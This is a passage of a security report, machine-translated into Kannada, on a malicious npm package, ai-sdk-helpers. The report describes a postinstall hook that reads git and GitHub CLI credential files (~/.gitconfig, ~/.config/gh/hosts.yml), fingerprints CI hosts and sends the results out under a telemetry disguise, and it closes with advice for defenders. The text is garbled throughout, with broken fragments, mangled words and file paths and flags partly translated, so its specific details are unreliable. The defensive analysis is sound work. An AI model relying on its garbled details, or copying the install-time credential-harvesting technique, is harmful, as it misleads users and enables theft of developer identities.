ಮುಖಪುಟದೊಂದಿಗೆ-sdk.guide` `g' ಅಡಿಯಲ್ಲಿ ಮೂಲ ಭಂಡಾರ ಮತ್ತುthub.com/ai-sdk-guide` ಸಂಸ್ಥೆ. ಪ್ರಕಾಶನ ಖಾತೆಯ ಇಮೇಲ್ ಡೊಮೇನ್ (`vigilance.security`)ಮತ್ತು ಪ್ಯಾಕೇಜ್ನೊಳಗಿನ ಲೇಖಕರ ಗುರುತು (`a-sdk.guide`)ವಿಭಿನ್ನ ಡೊಮೇನ್ಗಳಾಗಿವೆ.
`ಎ'-sdk.guide` ite ಲೈವ್ ಆಗಿದೆ ಮತ್ತು ಪ್ರತಿಕ್ರಿಯಿಸುತ್ತದೆ, ಮತ್ತು `/ಎಲಿಮೆಟ್ರಿ` ath ಪರಿಹರಿಸುತ್ತದೆ — ಡೆಕಾಯ್ ಗುರುತನ್ನು ಡೆಡ್ ಲಿಂಕ್ಗಿಂತ ತಲುಪಬಹುದಾದ ವೆಬ್ ಉಪಸ್ಥಿತಿಯಿಂದ ಬೆಂಬಲಿಸಲಾಗುತ್ತದೆ, ಇದು ಪ್ಯಾಕೇಜ್ನ ಚೌಕಟ್ಟಿನ ವಿಶ್ವಾಸಾರ್ಹತೆಯನ್ನು ಹೆಚ್ಚಿಸುತ್ತದೆ.
**ಗಮನಿಸಿದ ಸಾಮರ್ಥ್ಯ.** ಅನುಸ್ಥಾಪನೆಯ ಸಮಯದಲ್ಲಿ, ಪ್ಯಾಕೇಜ್ ಡೆವಲಪರ್ ಗುರುತು ಮತ್ತು ಖಾತೆ-ಸಂರಚನಾ ಫೈಲ್ಗಳನ್ನು ಓದುತ್ತದೆ, ಹೋಸ್ಟ್ ಮತ್ತು CI ಪರಿಸರವನ್ನು ಫಿಂಗರ್ಪ್ರಿಂಟ್ ಮಾಡುತ್ತದೆ ಮತ್ತು ಫಲಿತಾಂಶವನ್ನು ಆಪರೇಟರ್-ನಿಯಂತ್ರಿತ ಎಂಡ್ಪಾಯಿಂಟ್ಗೆ ರವಾನಿಸುತ್ತದೆ, ಆದರೆ ಕಿರಿದಾದ ಮತ್ತು ಅನಾಮಧೇಯ ಡೇಟಾ ಸೆಟ್ ಅನ್ನು ವಿವರಿಸುವ ಸೂಚನೆಯನ್ನು ಪ್ರದರ್ಶಿಸುತ್ತದೆ. ನಾವು ಈ ನಡವಳಿಕೆಯನ್ನು ವಿವರಿಸುತ್ತೇವೆ; ನಾವು ಅದಕ್ಕೆ ಉದ್ದೇಶವನ್ನು ಪ್ರತಿಪಾದಿಸುವುದಿಲ್ಲ. ಪ್ಯಾಕೇಜ್ ಅನ್ನು ಮೌಲ್ಯಮಾಪನ ಮಾಡುವ ಓದುಗರು - ಪ್ರಕಟಣೆಯ ಗುರುತನ್ನು ಗುರುತಿಸುವ ಯಾವುದೇ ಪಕ್ಷವನ್ನು ಒಳಗೊಂಡಂತೆ - ಹೇಳಲಾದ ಮತ್ತು ನಿಜವಾದ ಡೇಟಾ ಹರಿವಿನ ನಡುವಿನ ಗಮನಿಸಬಹುದಾದ ಹೊಂದಾಣಿಕೆಯನ್ನು ತೂಗಬೇಕು.
ರಕ್ಷಕರಿಗೆ ಪರಿಣಾಮ, ಪ್ರವೃತ್ತಿಗಳು ಮತ್ತು ಮಾರ್ಗದರ್ಶನ
ಯಾರು ಬಹಿರಂಗಗೊಂಡಿದ್ದಾರೆ. ಸ್ಥಾಪಿಸುವ ಯಾರಾದರೂ ai-sdk-ಸಹಾಯಕರು — ನೇರವಾಗಿ ಅಥವಾ ಸಕರ್ಮಕ ಅವಲಂಬನೆಯಾಗಿ — ಆ ಯಂತ್ರದಲ್ಲಿ ಸಂಗ್ರಹವನ್ನು ನಡೆಸುತ್ತದೆ. ಏಕೆಂದರೆ ಟ್ರಿಗ್ಗರ್ ಪೋಸ್ಟ್ಇನ್ಸ್ಟಾಲ್, ಡೇಟಾ ಹರಿವು ಸಂಭವಿಸಲು ಜಾಹೀರಾತು ಮಾಡಲಾದ ಲೈಬ್ರರಿ ಕೋಡ್ ಅನ್ನು ಎಂದಿಗೂ ಆಮದು ಮಾಡಿಕೊಳ್ಳಬೇಕಾಗಿಲ್ಲ; ಅನುಸ್ಥಾಪನೆಯು ಮಾತ್ರ ಸಾಕು. ಅತ್ಯುನ್ನತ ಮೌಲ್ಯದ ಪರಿಸರಗಳು ಕಾನ್ಫಿಗರ್ ಮಾಡಲಾದ git ಗುರುತು ಮತ್ತು ದೃಢೀಕೃತ GitHub CLI ಹೊಂದಿರುವ ಡೆವಲಪರ್ ಕಾರ್ಯಸ್ಥಳಗಳು ಮತ್ತು CI ರನ್ನರ್ಗಳಾಗಿವೆ, ಅಲ್ಲಿ ಸ್ಕ್ರಿಪ್ಟ್ನ CI- ಪೂರೈಕೆದಾರರ ಪತ್ತೆ ಸಂಗ್ರಹವು ಬಿಲ್ಡ್ ಒಳಗೆ ರನ್ ಆಗುವ ನಿರೀಕ್ಷೆಯಿದೆ ಎಂದು ಸೂಚಿಸುತ್ತದೆ. pipelineಗಳು ಹಾಗೆಯೇ ಲ್ಯಾಪ್ಟಾಪ್ಗಳಲ್ಲಿ.
ಅದು ಏನನ್ನು ಬಹಿರಂಗಪಡಿಸುತ್ತದೆ. ಸಾಮಾನ್ಯ ಸಂದರ್ಭದಲ್ಲಿ ಅಪ್ಲಿಕೇಶನ್ ರಹಸ್ಯಗಳಲ್ಲ - ಪೇಲೋಡ್ ಕೇಂದ್ರೀಕರಿಸುತ್ತದೆ ಗುರುತನ್ನು: ಡೆವಲಪರ್ಗಳು commit ಇಮೇಲ್, ಅವರ GitHub ಖಾತೆ ಹೆಸರು ಮತ್ತು ಇಮೇಲ್, ಯಂತ್ರ ಮತ್ತು ಖಾತೆ ಹೆಸರುಗಳು ಮತ್ತು ಯೋಜನೆಯ ಮಾರ್ಗ. ಅದು ಪೂರ್ವಭಾವಿcisಪ್ಯಾಕೇಜ್ ಅನ್ನು ಯಾರು ಸ್ಥಾಪಿಸಿದ್ದಾರೆ, ಯಾವ ಯಂತ್ರದಲ್ಲಿ, ಯಾವ ರೆಪೊಸಿಟರಿಯಲ್ಲಿ ಮತ್ತು ಯಾವ CI ವ್ಯವಸ್ಥೆಯ ಅಡಿಯಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಗಿದೆ ಎಂಬುದರ ಇ ನಕ್ಷೆ. ಒಂದು ಸಂಸ್ಥೆಗೆ, ಅಂತಹ ಕೆಲವು ದಾಖಲೆಗಳನ್ನು ಒಟ್ಟಿಗೆ ತೆಗೆದುಕೊಂಡರೆ ಯಾವ ಎಂಜಿನಿಯರ್ಗಳು ಮತ್ತು ಯಾವ ಬಿಲ್ಡ್ ಸಿಸ್ಟಮ್ಗಳು ಅವಲಂಬನೆಯನ್ನು ಎಳೆದವು ಎಂಬುದನ್ನು ಎಣಿಸುತ್ತದೆ - ಈ ಪ್ಯಾಕೇಜ್ನ ಸ್ವಂತ ನಡವಳಿಕೆಯು ಸಂಗ್ರಹಣೆ ಮತ್ತು ಪ್ರಸರಣದಲ್ಲಿ ನಿಲ್ಲುತ್ತದೆಯಾದರೂ, ಹೆಚ್ಚು ಉದ್ದೇಶಿತ ಫಾಲೋ-ಆನ್ ಚಟುವಟಿಕೆಗೆ ಪೂರ್ವಗಾಮಿಯಾಗಿ ಇದು ಉಪಯುಕ್ತವಾಗಿದೆ.
ಪ್ರವೃತ್ತಿ: ಕವರ್ ಆಗಿ ಟೆಲಿಮೆಟ್ರಿ. ಕಾನೂನುಬದ್ಧ ಡೆವಲಪರ್ ಪರಿಕರಗಳು ಅನಾಮಧೇಯ ಸ್ಥಾಪನೆ ರೋಗನಿರ್ಣಯಗಳನ್ನು ಸಂಗ್ರಹಿಸುತ್ತವೆ ಮತ್ತು ಅದನ್ನು ಗೌರವಯುತವಾಗಿ ಮಾಡುವ ಸಂಪ್ರದಾಯಗಳು - ಬಹಿರಂಗಪಡಿಸುವಿಕೆಯ ಸೂಚನೆ, a ಟ್ರ್ಯಾಕ್_ಮಾಡಬೇಡಿ ಗೌರವ, ಹೊರಗುಳಿಯುವ ಧ್ವಜ, ನೀತಿ URL - ಇವು ಚಿರಪರಿಚಿತ. ai-sdk-ಸಹಾಯಕರು ಆ ನಾಲ್ಕು ಸಂಪ್ರದಾಯಗಳನ್ನು ನಿಷ್ಠೆಯಿಂದ ಪುನರುತ್ಪಾದಿಸುತ್ತದೆ ಮತ್ತು ಅವುಗಳನ್ನು ಗುರುತಿನ ಸಂಗ್ರಹಕ್ಕಾಗಿ ಹೊದಿಕೆಯಾಗಿ ಬಳಸುತ್ತದೆ. ಸಮ್ಮತಿ ಬ್ಯಾನರ್, ಕಾರ್ಯನಿರ್ವಹಿಸುವ ಆಯ್ಕೆಯಿಂದ ಹೊರಗುಳಿಯುವಿಕೆ ಅಥವಾ ಗೌಪ್ಯತೆ-ನೀತಿ ಲಿಂಕ್ನ ಉಪಸ್ಥಿತಿಯು ಪ್ಯಾಕೇಜ್ ವಿಶ್ವಾಸಾರ್ಹವಾಗಿದೆ ಎಂಬುದಕ್ಕೆ ಪುರಾವೆಯಲ್ಲ; ಆ ನಿಯಂತ್ರಣಗಳು ಅನುಕರಿಸಲು ಅಗ್ಗವಾಗಿವೆ. ಕೋಡ್ ನಿಜವಾಗಿ ಏನು ಓದುತ್ತದೆ ಮತ್ತು ಅದು ನಿಜವಾಗಿ ಎಲ್ಲಿಗೆ ಕಳುಹಿಸುತ್ತದೆ ಎಂಬುದು ಮಾತ್ರ ವಿಶ್ವಾಸಾರ್ಹ ಪರಿಶೀಲನೆಯಾಗಿದೆ.
ಈ ಪ್ಯಾಕೇಜಿಂಗ್ ಸ್ವಯಂಚಾಲಿತ ಚಿಕಿತ್ಸೆಯ ಸರದಿ ನಿರ್ಧಾರದ ಮೇಲೂ ಅಳೆಯಬಹುದಾದ ಪರಿಣಾಮವನ್ನು ಬೀರುತ್ತದೆ. ಆವೃತ್ತಿಗಳಲ್ಲಿ ನಮ್ಮ pipeline ಪರಿಶೀಲಿಸಲಾಗಿದೆ, ಇನ್ಸ್ಟಾಲ್ ಸ್ಕ್ರಿಪ್ಟ್ನ ಸರಳ-ಭಾಷೆಯ ಕಾಮೆಂಟ್ಗಳು, ರಚನಾತ್ಮಕ ಕ್ಷೇತ್ರ ಹೆಸರುಗಳು ಮತ್ತು ಸಾಂಪ್ರದಾಯಿಕ ಆಯ್ಕೆಯಿಂದ ಹೊರಗುಳಿಯುವ ಗೇಟ್ ಅನ್ನು ಸಾಮಾನ್ಯ ಟೆಲಿಮೆಟ್ರಿಯಾಗಿ ಸ್ಕೋರ್ ಮಾಡಲಾಗಿದೆ: ಎಂಟರಲ್ಲಿ ಏಳು ಹಿಂತಿರುಗಿವೆ ಅನಿರ್ದಿಷ್ಟ ದುರುದ್ದೇಶಪೂರಿತವಲ್ಲದೆ ML ವರ್ಗೀಕರಣದಿಂದ. ಅಸ್ಪಷ್ಟತೆಯನ್ನು ಪರಿಹರಿಸುವ ಸಂಕೇತವು ಗದ್ಯದಲ್ಲಿಲ್ಲ - ಅದು ಸ್ಕ್ರಿಪ್ಟ್ ತೆರೆಯುವ ನಿರ್ದಿಷ್ಟ ಫೈಲ್ಗಳಲ್ಲಿದೆ (~ / .ಗಿಟ್ಕಾನ್ಫಿಗ್, ~/.config/gh/hosts.yml) ಮತ್ತು ಅದು ಕಳುಹಿಸುವ ಗಮ್ಯಸ್ಥಾನ. ಬಹಿರಂಗಪಡಿಸುವಿಕೆಯನ್ನು ಓದಿ ಅಲ್ಲಿಯೇ ನಿಲ್ಲಿಸುವ ವಿಮರ್ಶಕರು, ಸ್ವಯಂಚಾಲಿತ ಅಥವಾ ಮಾನವ, ತಪ್ಪು ತೀರ್ಮಾನಕ್ಕೆ ಬರುತ್ತಾರೆ; ನಿರ್ಣಯವು ಡೇಟಾ-ಹರಿವಿನ ಸಂಗತಿಗಳಿಂದ ಬರಬೇಕು.
ರಕ್ಷಕರಿಗೆ ಮಾರ್ಗದರ್ಶನ:
- ಪೂರ್ವನಿಯೋಜಿತವಾಗಿ ನಿಷ್ಕ್ರಿಯಗೊಳಿಸಲಾದ ಸ್ಕ್ರಿಪ್ಟ್ಗಳೊಂದಿಗೆ ಸ್ಥಾಪಿಸಿ — npm ಸ್ಥಾಪನೆ - ಸ್ಕ್ರಿಪ್ಟ್ಗಳನ್ನು ನಿರ್ಲಕ್ಷಿಸಿ, ಅಥವಾ ಹೊಂದಿಸಿ ನಿರ್ಲಕ್ಷಿಸು-ಸ್ಕ್ರಿಪ್ಟ್ಗಳು = ನಿಜ in .ಎನ್ಪಿಎಂಆರ್ಸಿ ಮತ್ತು ಪರಿಶೀಲಿಸಿದ ನಿರ್ಮಾಣ ಹಂತಗಳನ್ನು ಸ್ಪಷ್ಟವಾಗಿ ಚಲಾಯಿಸಿ. ಇದು ತಟಸ್ಥಗೊಳಿಸುತ್ತದೆ ಪೋಸ್ಟ್ಇನ್ಸ್ಟಾಲ್- ಎಲ್ಲಾ ಕಡೆಯಿಂದ ಸಂಗ್ರಹಣೆಯನ್ನು ಪ್ರಚೋದಿಸಲಾಗಿದೆ.
- ಆಯ್ಕೆಯಿಂದ ಹೊರಗುಳಿಯುವ ನಿಯಂತ್ರಣಗಳನ್ನು ವಿಶ್ವಾಸಾರ್ಹ ಸಂಕೇತಗಳಾಗಿ ಪರಿಗಣಿಸಬೇಡಿ. ಎ ಟ್ರ್ಯಾಕ್_ಮಾಡಬೇಡಿ ಚೆಕ್ ಅಥವಾ "ಟೆಲಿಮೆಟ್ರಿ ನೀತಿ" ಲಿಂಕ್ ಗೇಟ್ ಅನ್ನು ಹೊಂದಿಸದಿದ್ದಾಗ ಸ್ಕ್ರಿಪ್ಟ್ ಸಂಗ್ರಹಿಸುವ ಡೇಟಾದ ಬಗ್ಗೆ ಏನನ್ನೂ ಹೇಳುವುದಿಲ್ಲ.
- AI-ಪರಿಸರ ವ್ಯವಸ್ಥೆಯ ಸಹಾಯಕ ಪ್ಯಾಕೇಜ್ಗಳನ್ನು ಅಳವಡಿಸಿಕೊಳ್ಳುವ ಮೊದಲು ಇನ್ಸ್ಟಾಲ್ ಹುಕ್ ಅನ್ನು ಓದಿ. ವರ್ಸೆಲ್ AI SDK ಸ್ಪೇಸ್ ವೇಗವಾಗಿ ಚಲಿಸುವ, ಹೆಚ್ಚಿನ ನಂಬಿಕೆಯ ಗುರಿಯಾಗಿದೆ; a ಪೋಸ್ಟ್ಇನ್ಸ್ಟಾಲ್ ಅದು ಮುಟ್ಟುತ್ತದೆ ~ / .ಗಿಟ್ಕಾನ್ಫಿಗ್ or ~/.ಸಂರಚನೆ/gh/ ಸುತ್ತಮುತ್ತಲಿನ ಕಾಮೆಂಟ್ಗಳನ್ನು ಹೇಗೆ ಬರೆಯಲಾಗಿದೆ ಎಂಬುದನ್ನು ಲೆಕ್ಕಿಸದೆ ಸ್ಪಷ್ಟ ಸಂಕೇತವಾಗಿದೆ.
- ಬಿಲ್ಡ್-ಟೈಮ್ ನಿರ್ಗಮನವನ್ನು ಮೇಲ್ವಿಚಾರಣೆ ಮಾಡಿ. ಹೊರಹೋಗುವ HTTPS ಪೋಸ್ಟ್ ಸಮಯದಲ್ಲಿ npm ಸ್ಥಾಪನೆ, ವಿಶೇಷವಾಗಿ ಹೊಸದಾಗಿ ಒದಗಿಸಲಾದ ಕ್ಲೌಡ್-ಫಂಕ್ಷನ್ ಎಂಡ್ಬಿಂದುವಿಗೆ, ನೆಟ್ವರ್ಕ್ ಪದರದಲ್ಲಿ ಗಮನಿಸಬಹುದಾಗಿದೆ ಮತ್ತು CI ಪರಿಸರಗಳಿಗೆ ಬಲವಾದ ಪತ್ತೆ ಬಿಂದುವಾಗಿದೆ.
- ಸಂಕುಚಿತ ಆವೃತ್ತಿಯ ಲ್ಯಾಡರ್ಗಳಿಗಾಗಿ ವೀಕ್ಷಿಸಿ. ಬದಲಾಗದ ಇನ್ಸ್ಟಾಲ್ ಸ್ಕ್ರಿಪ್ಟ್ನೊಂದಿಗೆ, ಸಂಪೂರ್ಣ ಶಬ್ದಾರ್ಥ-ಆವೃತ್ತಿ ಇತಿಹಾಸವು ಸೆಕೆಂಡುಗಳಲ್ಲಿ ಗೋಚರಿಸುವ ಪ್ಯಾಕೇಜ್, ತಯಾರಿಸಿದ ನಿರ್ವಹಣಾ ಇತಿಹಾಸವನ್ನು ಪ್ರಸ್ತುತಪಡಿಸುತ್ತಿದೆ.





